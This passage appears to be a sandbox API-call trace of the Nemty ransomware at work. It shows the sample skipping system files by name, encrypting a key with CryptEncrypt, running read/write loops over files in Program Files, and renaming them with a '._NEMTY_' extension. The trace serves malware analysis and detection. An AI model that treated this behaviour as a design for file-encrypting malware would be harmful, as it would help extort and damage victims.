lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0085.880] CloseHandle (hObject=0xffffffff) returned 0 [0085.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0085.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0085.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0085.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0085.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0085.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0085.880] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0085.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0085.881] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0085.881] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0085.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0085.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0085.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0085.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0085.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0085.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0085.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0085.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0085.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0085.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0085.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0085.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0085.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0085.882] Sleep (dwMilliseconds=0x5) [0085.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6d79770, dwHighDateTime=0x1d561e7)) [0085.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6d79770, dwHighDateTime=0x1d561e7)) [0085.891] GetLastError () returned 0x5 [0085.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0085.891] GetLastError () returned 0x5 [0085.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0085.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0085.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0085.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0085.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0085.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="JZ4lVZwH4DSJf+SYCjhe4uHDRTqYV9oyzFkD/jNfJtNHH/Id9ttmkxh2CprNYVbL\r\nx6BMPn5lWtcltyc275U/qhJEaGpkqk0vEbsAe6n/jfhLUVkwhlTF8fXnF4jocfZ+\r\ng6S1h330pBk6mziIxXqh1WNP9k1F+5uYpVldmGcype+1200ywek04mtC79hxn+xB\r\nhU/1vI3tjhd10PbXtp0v0mKnqFfo/ZKHudh3Lj9cJhHWQJu+yOOHJmK7mm/XXGxQ\r\nk5vw9BoBrhNhW9DVNByu99IHTh+jt1w9qf2564L1C9Xc5cdG4c3TQmAM1Qhb869n\r\nJwhBkZHqVQdvxGd1iHrfow==\r\n", pcchString=0x653e91c) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0085.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0085.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0085.892] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.892] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0085.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0085.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.958] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.958] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.958] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.977] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.977] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0085.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0085.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0085.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 